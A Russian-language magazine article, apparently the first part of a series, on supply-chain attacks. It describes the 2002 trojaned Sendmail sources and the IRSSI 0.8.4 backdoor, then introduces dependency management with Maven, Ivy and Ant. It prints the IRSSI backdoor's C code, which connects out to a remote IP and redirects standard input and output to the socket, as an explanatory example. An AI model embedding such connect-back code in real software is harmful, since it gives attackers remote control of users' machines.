Троян в Sendmail

В течении многих лет Sendmail был стандартом де
факто для почтовых серверов в Интернете. С 28 сентября по 6 октября 2002 года
взломанный сервер
ftp.sendmail.org
распространял модифицированную версию исходников
Sendmail-а версии 8.12.6, содержащую троян. Взломщикам
удалось модифицировать сервер так, что попутно со своей основной работой в
процессе сборки он открывал доступ на 6667 порту для адресе 66.37.138.99.
Каждый, кто собирал Sendmail у себя на машине, получал
в нагрузку и бекдор, соответственно если компиляцией занимался администратор, то
хакер получал полный контроль над машиной.

Бекдор в IRSSI

В Мае 2002 года появилось и сообщение об обнаружении трояна в
open-source IRC клиенте IRSSI.
Версия 0.8.4 включала следующий код:

int s;
struct sockaddr_in sa;
switch(fork()) { case 0: break; default: exit(0); }
if((s = socket(AF_INET, SOCK_STREAM, 0)) == (-1)) {
exit(1);
}
/* HP/UX 9 (%#!) writes to sscanf strings */
memset(&sa, 0, sizeof(sa));
sa.sin_family = AF_INET;
sa.sin_port = htons(6667);
sa.sin_addr.s_addr = inet_addr("204.120.36.206");
if(connect(s,(struct sockaddr *)&sa, sizeof(sa)) == (-1)) {
exit(1);
}
dup2(s, 0); dup2(s, 1); dup2(s, 2);

Он открывал доступ к компьютеру адресу 204.120.36.206.

Управление внешними зависимостями при помощи Maven, Ivy
и Ant

Выше описанные примеры показывают, что внешние компоненты могут быть
скомпрометированы взломщиками, как в случае с OpenSSH
и IRSSI. Соответственно, пользователи,
автоматически компилирующие программы с использованием внешних компонент, подвергаются особому риску. Обратим наше внимание
на то, какие средства можно использовать для управления внешними заимствованиями
и вопросы безопасности их использования.

Неуправляемые зависимости делают проект тяжелым в построении

В случае ручной сборки человек, отвечающий за нее, сам обеспечивает поставку
необходимых компонент. В некоторых случаях при сборке программ внешние связи
очень мало контролируются. Компоненты могут быть доступны из нескольких
источников, один компонент может существовать с разных версиях или поставляться
разными компаниями. В случае если есть необходимость размножить среду разработки
на несколько, неуправляемые зависимости опять же приведут лишь к проблемам.
Программисты могут загрузить компоненты из неправильного источник, загрузить
неправильную версию или вообще забыть скачать необходимые части. Любая из этих
причин может привести процессе сборки конечного проекта к краху. Для устранения
этих проблем в случае ручного управления проекты содержат все необходимые
указания на конкретные версии всех компонентов и репозиторий, откуда их
необходимо извлекать.

Рассмотрим пример, в котором два программиста (Вася и Петя) независимо
создают некую программу. Процесс их работы можно описать примерно так:

  1. Вася определяет все необходимые для проекта зависимости и обновляет файл с
    необходимыми ссылками.
  2. Он скачивает себе на локальный компьютер все компоненты с внешних серверов
    и указывает на них билдеру.
  3. Затем Вася собирает программу на своем локальном компьютере.
  4. Петя пытается расшифровать записи Васи в файле.
  5. Петя скачивает себе на локальный компьютер компоненты которые ему кажутся
    правильными и пытается собрать проект. Шаг повторяется до тех пор, пока не
    наступит удовлетворение.

Автоматическое определение внешних заимствований

В мире Java существует несколько инструментов для
проблемы описанной выше: билдеры Ant и
Maven включают функциональность по управлению внешними
компонентами, есть и Ivy — менеджер зависимостей. И
хотя есть разница в их поведении, главная цель у них одна — они позволяют
разработчикам определять внешние компоненты и автоматически получать их код во
время сборки и компиляции.

(Продолжение следует)

Оставить мнение

Check Also

Как Apple обходит стандарты, заставляя тебя платить. Колонка Олега Афонина

Иногда сложные вещи начинаются с простых: планшет iPad Pro 10.5 вдруг перестал заряжаться …